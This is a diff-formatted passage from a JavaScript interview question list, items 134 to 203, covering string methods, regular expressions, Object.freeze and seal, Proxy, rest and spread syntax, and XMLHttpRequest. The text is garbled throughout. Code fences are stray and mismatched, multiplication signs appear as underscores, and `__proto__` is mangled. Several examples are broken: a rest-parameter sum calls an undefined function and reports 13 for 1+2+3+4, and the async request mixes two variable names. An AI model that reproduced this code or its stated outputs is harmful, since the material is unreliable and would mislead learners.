+        'Good morning'.startsWith('Good'); // true
+        'Good morning'.startsWith('morning'); // false
+
+        ```
+
+        ```
+
+134.    How do you trim a string in javascript
+
+             JavaScript provided a trim method on string types to trim any whitespaces present at the beginning or ending of the string.
+
+             ```js
+
+        //
+        ' Hello World '.trim(); //Hello World
+
+        ````
+
+             If your browser(<IE9) doesn't support this method then you can use below polyfill.
+
+             ```js
+
+        //
+        if (!String.prototype.trim) {
+        (function () {
+        // Make sure we trim BOM and NBSP
+        var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+        String.prototype.trim = function () {
+        return this.replace(rtrim, '');
+        };
+        })();
+        }
+        ````
+
+135.    How do you add a key value pair in javascript
+
+             There are two possible solutions to add new properties to an object. Let's take a simple object to explain these solutions.
+
+             ```js
+
+        //
+        var object = {
+        key1: value1,
+        key2: value2
+        };
+
+        ````
+
+             1. **Using dot notation:** This solution is useful when you know the name of the property
+
+             ```js
+
+        //
+        object.key3 = 'value3';
+        ````
+
+             1. **Using square bracket notation:** This solution is useful when the name of the property is dynamically determined.
+
+             ```js
+
+        //
+        obj['key3'] = 'value3';
+
+        ```
+
+        ```
+
+136.    Is the !-- notation represents a special operator
+
+        No,that's not a special operator. But it is a combination of 2 standard operators one after the other,
+
+        1. A logical not (!)
+        2. A prefix decrement (--)
+
+        At first, the value decremented by one and then tested to see if it is equal to zero or not for determining the truthy/falsy value.
+
+137.    How do you assign default values to variables
+
+             You can use the logical or operator `||` in an assignment expression to provide a default value. The syntax looks like as below,
+
+             ```js
+
+        //
+        var a = b || c;
+
+        ```
+
+             As per the above expression, variable 'a 'will get the value of 'c' only if 'b' is falsy (if is null, false, undefined, 0, empty string, or NaN), otherwise 'a' will get the value of 'b'.
+
+        ```
+
+138.    How do you define multiline strings
+
+             You can define multiline string literals using the '\\' character followed by line terminator.
+
+             ```js
+
+        //
+        var str =
+        'This is a \
+         very lengthy \
+         sentence!';
+
+        ```
+
+             But if you have a space after the '\\' character, the code will look exactly the same, but it will raise a SyntaxError.
+
+        ```
+
+139.    What is an app shell model
+
+        An application shell (or app shell) architecture is one way to build a Progressive Web App that reliably and instantly loads on your users' screens, similar to what you see in native applications. It is useful for getting some initial HTML to the screen fast without a network.
+
+140.    Can we define properties for functions
+
+             Yes, We can define properties for functions because functions are also objects.
+
+             ```js
+
+        //
+        fn = function (x) {
+        //Function code goes here
+        };
+
+             fn.name = 'John';
+
+             fn.profile = function (y) {
+                 //Profile code goes here
+             };
+             ```
+
+141.    What is the way to find the number of parameters expected by a function
+
+             You can use `function.length` syntax to find the number of parameters expected by a function. Let's take an example of `sum` function to calculate the sum of numbers,
+
+             ```js
+
+        //
+        function sum(num1, num2, num3, num4) {
+        return num1 + num2 + num3 + num4;
+        }
+        sum.length; // 4 is the number of parameters expected.
+
+        ```
+
+        ```
+
+142.    What is a polyfill
+
+        A polyfill is a piece of JS code used to provide modern functionality on older browsers that do not natively support it. For example, Silverlight plugin polyfill can be used to mimic the functionality of an HTML Canvas element on Microsoft Internet Explorer 7.
+
+143.    What are break and continue statements
+
+             The break statement is used to "jump out" of a loop. i.e, It breaks the loop and continues executing the code after the loop.
+
+             ```js
+
+        //
+        for (i = 0; i < 10; i++) {
+        if (i === 5) {
+        break;
+        }
+        text += 'Number: ' + i + '<br>';
+        }
+
+        ````
+
+             The continue statement is used to "jump over" one iteration in the loop. i.e, It breaks one iteration (in the loop), if a specified condition occurs, and continues with the next iteration in the loop.
+
+             ```js
+
+        //
+        for (i = 0; i < 10; i++) {
+        if (i === 5) {
+        continue;
+        }
+        text += 'Number: ' + i + '<br>';
+        }
+        ````
+
+144.    What are js labels
+
+             The label statement allows us to name loops and blocks in JavaScript. We can then use these labels to refer back to the code later. For example, the below code with labels avoids printing the numbers when they are same,
+
+             ```js
+
+        //
+        var i, j;
+
+             loop1: for (i = 0; i < 3; i++) {
+                 loop2: for (j = 0; j < 3; j++) {
+                     if (i === j) {
+                         continue loop1;
+                     }
+                     console.log('i = ' + i + ', j = ' + j);
+                 }
+             }
+
+             // Output is:
+             //   "i = 1, j = 0"
+             //   "i = 2, j = 0"
+             //   "i = 2, j = 1"
+             ```
+
+145.    What are the benefits of keeping declarations at the top
+
+        It is recommended to keep all declarations at the top of each script or function. The benefits of doing this are,
+
+        1. Gives cleaner code
+        2. It provides a single place to look for local variables
+        3. Easy to avoid unwanted global variables
+        4. It reduces the possibility of unwanted re-declarations
+
+146.    What are the benefits of initializing variables
+
+        It is recommended to initialize variables because of the below benefits,
+
+        1. It gives cleaner code
+        2. It provides a single place to initialize variables
+        3. Avoid undefined values in the code
+
+147.    What are the recommendations to create new object
+
+             It is recommended to avoid creating new objects using `new Object()`. Instead you can initialize values based on it's type to create the objects.
+
+             1. Assign {} instead of new Object()
+             2. Assign "" instead of new String()
+             3. Assign 0 instead of new Number()
+             4. Assign false instead of new Boolean()
+             5. Assign [] instead of new Array()
+             6. Assign /()/ instead of new RegExp()
+             7. Assign function (){} instead of new Function()
+
+             You can define them as an example,
+
+             ```js
+
+        //
+        var v1 = {};
+        var v2 = '';
+        var v3 = 0;
+        var v4 = false;
+        var v5 = [];
+        var v6 = /()/;
+        var v7 = function () {};
+
+        ```
+
+        ```
+
+148.    How do you define JSON arrays
+
+             JSON arrays are written inside square brackets and arrays contain javascript objects. For example, the JSON array of users would be as below,
+
+             ```js
+
+        //
+        "users":[
+        {"firstName":"John", "lastName":"Abrahm"},
+        {"firstName":"Anna", "lastName":"Smith"},
+        {"firstName":"Shane", "lastName":"Warn"}
+        ]
+
+        ```
+
+        ```
+
+149.    How do you generate random integers
+
+             You can use Math.random() with Math.floor() to return random integers. For example, if you want generate random integers between 1 to 10, the multiplication factor should be 10,
+
+             ```js
+
+        //
+        Math.floor(Math.random() _ 10) + 1; // returns a random integer from 1 to 10
+        Math.floor(Math.random() _ 100) + 1; // returns a random integer from 1 to 100
+
+        ```
+
+             **Note:** Math.random() returns a random number between 0 (inclusive), and 1 (exclusive)
+
+        ```
+
+150.    Can you write a random integers function to print integers with in a range
+
+             Yes, you can create a proper random function to return a random number between min and max (both included)
+
+             ```js
+
+        //
+        function randomInteger(min, max) {
+        return Math.floor(Math.random() \* (max - min + 1)) + min;
+        }
+        randomInteger(1, 100); // returns a random integer from 1 to 100
+        randomInteger(1, 1000); // returns a random integer from 1 to 1000
+
+        ```
+
+        ```
+
+151.    What is tree shaking
+
+        Tree shaking is a form of dead code elimination. It means that unused modules will not be included in the bundle during the build process and for that it relies on the static structure of ES2015 module syntax,( i.e. import and export). Initially this has been popularized by the ES2015 module bundler `rollup`.
+
+152.    What is the need of tree shaking
+
+        Tree Shaking can significantly reduce the code size in any application. i.e, The less code we send over the wire the more performant the application will be. For example, if we just want to create a "Hello World" Application using SPA frameworks then it will take around a few MBs, but by tree shaking it can bring down the size to just a few hundred KBs. Tree shaking is implemented in Rollup and Webpack bundlers.
+
+153.    Is it recommended to use eval
+
+        No, it allows arbitrary code to be run which causes a security problem. As we know that the eval() function is used to run text as code. In most of the cases, it should not be necessary to use it.
+
+154.    What is a Regular Expression
+
+             A regular expression is a sequence of characters that forms a search pattern. You can use this search pattern for searching data in a text. These can be used to perform all types of text search and text replace operations. Let's see the syntax format now,
+
+             ```js
+
+        //
+        /pattern/modifiers;
+
+        ````
+
+             For example, the regular expression or search pattern with case-insensitive username would be,
+
+             ```js
+
+        //
+        /John/i;
+        ````
+
+155.    What are the string methods available in Regular expression
+
+             Regular Expressions has two string methods: search() and replace().
+             The search() method uses an expression to search for a match, and returns the position of the match.
+
+             ```js
+
+        //
+        var msg = 'Hello John';
+        var n = msg.search(/John/i); // 6
+
+        ````
+
+             The replace() method is used to return a modified string where the pattern is replaced.
+
+             ```js
+
+        //
+        var msg = 'Hello John';
+        var n = msg.replace(/John/i, 'Buttler'); // Hello Buttler
+        ````
+
+156.    What are modifiers in regular expression
+
+             Modifiers can be used to perform case-insensitive and global searches. Let's list down some of the modifiers,
+
+             | Modifier | Description                                             |
+             |----------|---------------------------------------------------------|
+             | i        | Perform case-insensitive matching                       |
+             | g        | Perform a global match rather than stops at first match |
+             | m        | Perform multiline matching                              |
+
+             Let's take an example of global modifier,
+
+             ```js
+
+        //
+        var text = 'Learn JS one by one';
+        var pattern = /one/g;
+        var result = text.match(pattern); // one,one
+
+        ```
+
+        ```
+
+157.    What are regular expression patterns
+
+        Regular Expressions provide a group of patterns in order to match characters. Basically they are categorized into 3 types,
+
+        1. **Brackets:** These are used to find a range of characters.
+           For example, below are some use cases,
+            1. [abc]: Used to find any of the characters between the brackets(a,b,c)
+            2. [0-9]: Used to find any of the digits between the brackets
+            3. (a|b): Used to find any of the alternatives separated with |
+        2. **Metacharacters:** These are characters with a special meaning
+           For example, below are some use cases,
+            1. \\d: Used to find a digit
+            2. \\s: Used to find a whitespace character
+            3. \\b: Used to find a match at the beginning or ending of a word
+        3. **Quantifiers:** These are useful to define quantities
+           For example, below are some use cases,
+            1. n+: Used to find matches for any string that contains at least one n
+            2. n\*: Used to find matches for any string that contains zero or more occurrences of n
+            3. n?: Used to find matches for any string that contains zero or one occurrences of n
+
+158.    What is a RegExp object
+
+             RegExp object is a regular expression object with predefined properties and methods. Let's see the simple usage of RegExp object,
+
+             ```js
+
+        //
+        var regexp = new RegExp('\\w+');
+        console.log(regexp);
+        // expected output: /\w+/
+
+        ```
+
+        ```
+
+159.    How do you search a string for a pattern
+
+             You can use the test() method of regular expression in order to search a string for a pattern, and return true or false depending on the result.
+
+             ```js
+
+        //
+        var pattern = /you/;
+        console.log(pattern.test('How are you?')); //true
+
+        ```
+
+        ```
+
+160.    What is the purpose of exec method
+
+             The purpose of exec method is similar to test method but it executes a search for a match in a specified string and returns a result array, or null instead of returning true/false.
+
+             ```js
+
+        //
+        var pattern = /you/;
+        console.log(pattern.exec('How are you?')); //["you", index: 8, input: "How are you?", groups: undefined]
+
+        ```
+
+        ```
+
+161.    How do you change the style of a HTML element
+
+             You can change inline style or classname of a HTML element using javascript
+
+             1. **Using style property:** You can modify inline style using style property
+
+             ```js
+
+        //
+        document.getElementById('title').style.fontSize = '30px';
+
+        ````
+
+             1. **Using ClassName property:** It is easy to modify element class using className property
+
+             ```js
+
+        //
+        document.getElementById('title').className = 'custom-title';
+        ````
+
+162.    What would be the result of 1+2+'3'
+
+        The output is going to be `33`. Since `1` and `2` are numeric values, the result of the first two digits is going to be a numeric value `3`. The next digit is a string type value because of that the addition of numeric value `3` and string type value `3` is just going to be a concatenation value `33`.
+
+163.    What is a debugger statement
+
+             The debugger statement invokes any available debugging functionality, such as setting a breakpoint. If no debugging functionality is available, this statement has no effect.
+             For example, in the below function a debugger statement has been inserted. So
+             execution is paused at the debugger statement just like a breakpoint in the script source.
+
+             ```js
+
+        //
+        function getProfile() {
+        // code goes here
+        debugger;
+        // code goes here
+        }
+
+        ```
+
+        ```
+
+164.    What is the purpose of breakpoints in debugging
+
+        You can set breakpoints in the javascript code once the debugger statement is executed and the debugger window pops up. At each breakpoint, javascript will stop executing, and let you examine the JavaScript values. After examining values, you can resume the execution of code using the play button.
+
+165.    Can I use reserved words as identifiers
+
+             No, you cannot use the reserved words as variables, labels, object or function names. Let's see one simple example,
+
+             ```js
+
+        //
+        var else = "hello"; // Uncaught SyntaxError: Unexpected token else
+
+        ```
+
+        ```
+
+166.    How do you detect a mobile browser
+
+             You can use regex which returns a true or false value depending on whether or not the user is browsing with a mobile.
+
+             ```js
+
+        //
+        window.mobilecheck = function () {
+        var mobileCheck = false;
+        (function (a) {
+        if (
+        /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(
+        a
+        ) ||
+        /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(
+        a.substr(0, 4)
+        )
+        )
+        mobileCheck = true;
+        })(navigator.userAgent || navigator.vendor || window.opera);
+        return mobileCheck;
+        };
+
+        ```
+
+        ```
+
+167.    How do you detect a mobile browser without regexp
+
+             You can detect mobile browsers by simply running through a list of devices and checking if the useragent matches anything. This is an alternative solution for RegExp usage,
+
+             ```js
+
+        //
+        function detectmob() {
+        if (
+        navigator.userAgent.match(/Android/i) ||
+        navigator.userAgent.match(/webOS/i) ||
+        navigator.userAgent.match(/iPhone/i) ||
+        navigator.userAgent.match(/iPad/i) ||
+        navigator.userAgent.match(/iPod/i) ||
+        navigator.userAgent.match(/BlackBerry/i) ||
+        navigator.userAgent.match(/Windows Phone/i)
+        ) {
+        return true;
+        } else {
+        return false;
+        }
+        }
+
+        ```
+
+        ```
+
+168.    How do you get the image width and height using JS
+
+             You can programmatically get the image and check the dimensions(width and height) using Javascript.
+
+             ```js
+
+        //
+        var img = new Image();
+        img.onload = function () {
+        console.log(this.width + 'x' + this.height);
+        };
+        img.src = 'http://www.google.com/intl/en_ALL/images/logo.gif';
+
+        ```
+
+        ```
+
+169.    How do you make synchronous HTTP request
+
+             Browsers provide an XMLHttpRequest object which can be used to make synchronous HTTP requests from JavaScript
+
+             ```js
+
+        //
+        function httpGet(theUrl) {
+        var xmlHttpReq = new XMLHttpRequest();
+        xmlHttpReq.open('GET', theUrl, false); // false for synchronous request
+        xmlHttpReq.send(null);
+        return xmlHttpReq.responseText;
+        }
+
+        ```
+
+        ```
+
+170.    How do you make asynchronous HTTP request
+
+             Browsers provide an XMLHttpRequest object which can be used to make asynchronous HTTP requests from JavaScript by passing the 3rd parameter as true.
+
+             ```js
+
+        //
+        function httpGetAsync(theUrl, callback) {
+        var xmlHttpReq = new XMLHttpRequest();
+        xmlHttpReq.onreadystatechange = function () {
+        if (xmlHttpReq.readyState == 4 && xmlHttpReq.status == 200) callback(xmlHttpReq.responseText);
+        };
+        xmlHttp.open('GET', theUrl, true); // true for asynchronous
+        xmlHttp.send(null);
+        }
+
+        ```
+
+        ```
+
+171.    How do you convert date to another timezone in javascript
+
+             You can use the toLocaleString() method to convert dates in one timezone to another. For example, let's convert current date to British English timezone as below,
+
+             ```js
+
+        //
+        console.log(event.toLocaleString('en-GB', { timeZone: 'UTC' })); //29/06/2019, 09:56:00
+
+        ```
+
+        ```
+
+172.    What are the properties used to get size of window
+
+             You can use innerWidth, innerHeight, clientWidth, clientHeight properties of windows, document element and document body objects to find the size of a window. Let's use them combination of these properties to calculate the size of a window or document,
+
+             ```js
+
+        //
+        var width = window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth;
+
+             var height = window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight;
+             ```
+
+173.    What is a conditional operator in javascript
+
+             The conditional (ternary) operator is the only JavaScript operator that takes three operands which acts as a shortcut for if statements.
+
+             ```js
+
+        //
+        var isAuthenticated = false;
+        console.log(isAuthenticated ? 'Hello, welcome' : 'Sorry, you are not authenticated'); //Sorry, you are not authenticated
+
+        ```
+
+        ```
+
+174.    Can you apply chaining on conditional operator
+
+             Yes, you can apply chaining on conditional operators similar to if … else if … else if … else chain. The syntax is going to be as below,
+
+             ```js
+
+        //
+        function traceValue(someParam) {
+        return condition1 ? value1 : condition2 ? value2 : condition3 ? value3 : value4;
+        }
+
+             // The above conditional operator is equivalent to:
+
+             function traceValue(someParam) {
+                 if (condition1) {
+                     return value1;
+                 } else if (condition2) {
+                     return value2;
+                 } else if (condition3) {
+                     return value3;
+                 } else {
+                     return value4;
+                 }
+             }
+             ```
+
+175.    What are the ways to execute javascript after page load
+
+             You can execute javascript after page load in many different ways,
+
+             1. **window.onload:**
+
+             ```js
+
+        //
+        window.onload = function ...
+
+        ````
+
+             1. **document.onload:**
+
+             ```js
+
+        //
+        document.onload = function ...
+        ````
+
+             1. **body onload:**
+
+             ```js
+
+        //
+        <body onload="script();">
+        ```
+
+176.    What is the difference between proto and prototype
+
+             The `__proto__` object is the actual object that is used in the lookup chain to resolve methods, etc. Whereas `prototype` is the object that is used to build `__proto__` when you create an object with new
+
+             ```js
+
+        //
+        new Employee().**proto** === Employee.prototype;
+        new Employee().prototype === undefined;
+
+        ```
+
+        ```
+
+177.    Give an example where do you really need semicolon
+
+             It is recommended to use semicolons after every statement in JavaScript. For example, in the below case it throws an error ".. is not a function" at runtime due to missing semicolon.
+
+             ```js
+
+        //
+        // define a function
+        var fn = (function () {
+        //...
+        })(
+        // semicolon missing at this line
+
+                 // then execute some code inside a closure
+                 function () {
+                     //...
+                 }
+             )();
+             ```
+
+             and it will be interpreted as
+
+             ```js
+
+        //
+        var fn = (function () {
+        //...
+        })(function () {
+        //...
+        })();
+
+        ```
+
+             In this case, we are passing the second function as an argument to the first function and then trying to call the result of the first function call as a function. Hence, the second function will fail with a "... is not a function" error at runtime.
+
+        ```
+
+178.    What is a freeze method
+
+             The **freeze()** method is used to freeze an object. Freezing an object does not allow adding new properties to an object,prevents from removing and prevents changing the enumerability, configurability, or writability of existing properties. i.e, It returns the passed object and does not create a frozen copy.
+
+             ```js
+
+        //
+        const obj = {
+        prop: 100
+        };
+
+             Object.freeze(obj);
+             obj.prop = 200; // Throws an error in strict mode
+
+             console.log(obj.prop); //100
+             ```
+
+             **Note:** It causes a TypeError if the argument passed is not an object.
+
+179.    What is the purpose of freeze method
+
+        Below are the main benefits of using freeze method,
+
+        1. It is used for freezing objects and arrays.
+        2. It is used to make an object immutable.
+
+180.    Why do I need to use freeze method
+
+        In the Object-oriented paradigm, an existing API contains certain elements that are not intended to be extended, modified, or re-used outside of their current context. Hence it works as the `final` keyword which is used in various languages.
+
+181.    How do you detect a browser language preference
+
+             You can use navigator object to detect a browser language preference as below,
+
+             ```js
+
+        //
+        var language =
+        (navigator.languages && navigator.languages[0]) || // Chrome / Firefox
+        navigator.language || // All browsers
+        navigator.userLanguage; // IE <= 10
+
+             console.log(language);
+             ```
+
+182.    How to convert string to title case with javascript
+
+             Title case means that the first letter of each word is capitalized. You can convert a string to title case using the below function,
+
+             ```js
+
+        //
+        function toTitleCase(str) {
+        return str.replace(/\w\S\*/g, function (txt) {
+        return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
+        });
+        }
+        toTitleCase('good morning john'); // Good Morning John
+
+        ```
+
+        ```
+
+183.    How do you detect javascript disabled in the page
+
+             You can use the `<noscript>` tag to detect javascript disabled or not. The code block inside `<noscript>` gets executed when JavaScript is disabled, and is typically used to display alternative content when the page generated in JavaScript.
+
+             ```js
+
+        //
+        <script type="javascript">
+        // JS related code goes here
+        </script>
+        <noscript>
+        <a href="next_page.html?noJS=true">JavaScript is disabled in the page. Please click Next Page</a>
+        </noscript>
+        ```
+
+184.    What are various operators supported by javascript
+
+        An operator is capable of manipulating(mathematical and logical computations) a certain value or operand. There are various operators supported by JavaScript as below,
+
+        1. **Arithmetic Operators:** Includes + (Addition),- (Subtraction), \* (Multiplication), / (Division), % (Modulus), + + (Increment) and - - (Decrement)
+        2. **Comparison Operators:** Includes = =(Equal),!= (Not Equal), ===(Equal with type), > (Greater than),> = (Greater than or Equal to),< (Less than),<= (Less than or Equal to)
+        3. **Logical Operators:** Includes &&(Logical AND),||(Logical OR),!(Logical NOT)
+        4. **Assignment Operators:** Includes = (Assignment Operator), += (Add and Assignment Operator), - = (Subtract and Assignment Operator), \*= (Multiply and Assignment), /= (Divide and Assignment), %= (Modules and Assignment)
+        5. **Ternary Operators:** It includes conditional(: ?) Operator
+        6. **typeof Operator:** It uses to find type of variable. The syntax looks like `typeof variable`
+
+185.    What is a rest parameter
+
+             Rest parameter is an improved way to handle function parameters which allows us to represent an indefinite number of arguments as an array. The syntax would be as below,
+
+             ```js
+
+        //
+        function f(a, b, ...theArgs) {
+        // ...
+        }
+
+        ````
+
+             For example, let's take a sum example to calculate on dynamic number of parameters,
+
+             ```js
+
+        //
+        function total(…args){
+        let sum = 0;
+        for(let i of args){
+        sum+=i;
+        }
+        return sum;
+        }
+        console.log(fun(1,2)); //3
+        console.log(fun(1,2,3)); //6
+        console.log(fun(1,2,3,4)); //13
+        console.log(fun(1,2,3,4,5)); //15
+        ````
+
+             **Note:** Rest parameter is added in ES2015 or ES6
+
+186.    What happens if you do not use rest parameter as a last argument
+
+             The rest parameter should be the last argument, as its job is to collect all the remaining arguments into an array. For example, if you define a function like below it doesn't make any sense and will throw an error.
+
+             ```js
+
+        //
+        function someFunc(a,…b,c){
+        //You code goes here
+        return;
+        }
+
+        ```
+
+        ```
+
+187.    What are the bitwise operators available in javascript
+
+        Below are the list of bitwise logical operators used in JavaScript
+
+        1. Bitwise AND ( & )
+        2. Bitwise OR ( | )
+        3. Bitwise XOR ( ^ )
+        4. Bitwise NOT ( ~ )
+        5. Left Shift ( << )
+        6. Sign Propagating Right Shift ( >> )
+        7. Zero fill Right Shift ( >>> )
+
+188.    What is a spread operator
+
+             Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. Let's take an example to see this behavior,
+
+             ```js
+
+        //
+        function calculateSum(x, y, z) {
+        return x + y + z;
+        }
+
+             const numbers = [1, 2, 3];
+
+             console.log(calculateSum(...numbers)); // 6
+             ```
+
+189.    How do you determine whether object is frozen or not
+
+             Object.isFrozen() method is used to determine if an object is frozen or not.An object is frozen if all of the below conditions hold true,
+
+             1. If it is not extensible.
+             2. If all of its properties are non-configurable.
+             3. If all its data properties are non-writable.
+                The usage is going to be as follows,
+
+             ```js
+
+        //
+        const object = {
+        property: 'Welcome JS world'
+        };
+        Object.freeze(object);
+        console.log(Object.isFrozen(object));
+
+        ```
+
+        ```
+
+190.    How do you determine two values same or not using object
+
+             The Object.is() method determines whether two values are the same value. For example, the usage with different types of values would be,
+
+             ```js
+
+        //
+        Object.is('hello', 'hello'); // true
+        Object.is(window, window); // true
+        Object.is([], []); // false
+
+        ```
+
+             Two values are the same if one of the following holds:
+
+             1. both undefined
+             2. both null
+             3. both true or both false
+             4. both strings of the same length with the same characters in the same order
+             5. both the same object (means both object have same reference)
+             6. both numbers and
+                both +0
+                both -0
+                both NaN
+                both non-zero and both not NaN and both have the same value.
+
+        ```
+
+191.    What is the purpose of using object is method
+
+        Some of the applications of Object's `is` method are follows,
+
+        1. It is used for comparison of two strings.
+        2. It is used for comparison of two numbers.
+        3. It is used for comparing the polarity of two numbers.
+        4. It is used for comparison of two objects.
+
+192.    How do you copy properties from one object to other
+
+             You can use the Object.assign() method which is used to copy the values and properties from one or more source objects to a target object. It returns the target object which has properties and values copied from the target object. The syntax would be as below,
+
+             ```js
+
+        //
+        Object.assign(target, ...sources);
+
+        ````
+
+             Let's take example with one source and one target object,
+
+             ```js
+
+        //
+        const target = { a: 1, b: 2 };
+        const source = { b: 3, c: 4 };
+
+             const returnedTarget = Object.assign(target, source);
+
+             console.log(target); // { a: 1, b: 3, c: 4 }
+
+             console.log(returnedTarget); // { a: 1, b: 3, c: 4 }
+             ```
+
+             As observed in the above code, there is a common property(`b`) from source to target so it's value has been overwritten.
+
+        ````
+
+193.    What are the applications of assign method
+
+        Below are the some of main applications of Object.assign() method,
+
+        1. It is used for cloning an object.
+        2. It is used to merge objects with the same properties.
+
+194.    What is a proxy object
+
+             The Proxy object is used to define custom behavior for fundamental operations such as property lookup, assignment, enumeration, function invocation, etc. The syntax would be as follows,
+
+             ```js
+
+        //
+        var p = new Proxy(target, handler);
+
+        ````
+
+             Let's take an example of proxy object,
+
+             ```js
+
+        //
+        var handler = {
+        get: function (obj, prop) {
+        return prop in obj ? obj[prop] : 100;
+        }
+        };
+
+             var p = new Proxy({}, handler);
+             p.a = 10;
+             p.b = null;
+
+             console.log(p.a, p.b); // 10, null
+             console.log('c' in p, p.c); // false, 100
+             ```
+
+             In the above code, it uses `get` handler which define the behavior of the proxy when an operation is performed on it
+
+        ````
+
+195.    What is the purpose of seal method
+
+             The **Object.seal()** method is used to seal an object, by preventing new properties from being added to it and marking all existing properties as non-configurable. But values of present properties can still be changed as long as they are writable. Let's see the below example to understand more about seal() method
+
+             ```js
+
+        //
+        const object = {
+        property: 'Welcome JS world'
+        };
+        Object.seal(object);
+        object.property = 'Welcome to object world';
+        console.log(Object.isSealed(object)); // true
+        delete object.property; // You cannot delete when sealed
+        console.log(object.property); //Welcome to object world
+
+        ```
+
+        ```
+
+196.    What are the applications of seal method
+
+        Below are the main applications of Object.seal() method,
+
+        1. It is used for sealing objects and arrays.
+        2. It is used to make an object immutable.
+
+197.    What are the differences between freeze and seal methods
+
+        If an object is frozen using the Object.freeze() method then its properties become immutable and no changes can be made in them whereas if an object is sealed using the Object.seal() method then the changes can be made in the existing properties of the object.
+
+198.    How do you determine if an object is sealed or not
+
+             The Object.isSealed() method is used to determine if an object is sealed or not. An object is sealed if all of the below conditions hold true
+
+             1. If it is not extensible.
+             2. If all of its properties are non-configurable.
+             3. If it is not removable (but not necessarily non-writable).
+                Let's see it in the action
+
+             ```js
+
+        //
+        const object = {
+        property: 'Hello, Good morning'
+        };
+
+             Object.seal(object); // Using seal() method to seal the object
+
+             console.log(Object.isSealed(object)); // checking whether the object is sealed or not
+             ```
+
+199.    How do you get enumerable key and value pairs
+
+             The Object.entries() method is used to return an array of a given object's own enumerable string-keyed property [key, value] pairs, in the same order as that provided by a for...in loop. Let's see the functionality of object.entries() method in an example,
+
+             ```js
+
+        //
+        const object = {
+        a: 'Good morning',
+        b: 100
+        };
+
+             for (let [key, value] of Object.entries(object)) {
+                 console.log(`${key}: ${value}`); // a: 'Good morning'
+                 // b: 100
+             }
+             ```
+
+             **Note:** The order is not guaranteed as object defined.
+
+200.    What is the main difference between Object.values and Object.entries method
+
+             The Object.values() method's behavior is similar to Object.entries() method but it returns an array of values instead [key,value] pairs.
+
+             ```js
+
+        //
+        const object = {
+        a: 'Good morning',
+        b: 100
+        };
+
+             for (let value of Object.values(object)) {
+                 console.log(`${value}`); // 'Good morning'
+                 100;
+             }
+             ```
+
+201.    How can you get the list of keys of any object
+
+             You can use the `Object.keys()` method which is used to return an array of a given object's own property names, in the same order as we get with a normal loop. For example, you can get the keys of a user object,
+
+             ```js
+
+        //
+        const user = {
+        name: 'John',
+        gender: 'male',
+        age: 40
+        };
+
+             console.log(Object.keys(user)); //['name', 'gender', 'age']
+             ```
+
+202.    How do you create an object with prototype
+
+             The Object.create() method is used to create a new object with the specified prototype object and properties. i.e, It uses an existing object as the prototype of the newly created object. It returns a new object with the specified prototype object and properties.
+
+             ```js
+
+        //
+        const user = {
+        name: 'John',
+        printInfo: function () {
+        console.log(`My name is ${this.name}.`);
+        }
+        };
+
+             const admin = Object.create(user);
+
+             admin.name = 'Nick'; // Remember that "name" is a property set on "admin" but not on "user" object
+
+             admin.printInfo(); // My name is Nick
+             ```
+
+203.    What is a WeakSet
+
+             WeakSet is used to store a collection of weakly(weak references) held objects. The syntax would be as follows,
+
+             ```js
+
+        //
+        new WeakSet([iterable]);
+
+        ````
+
+             Let's see the below example to explain it's behavior,
+
+             ```js
+
+        //
+        var ws = new WeakSet();
+        var user = {};
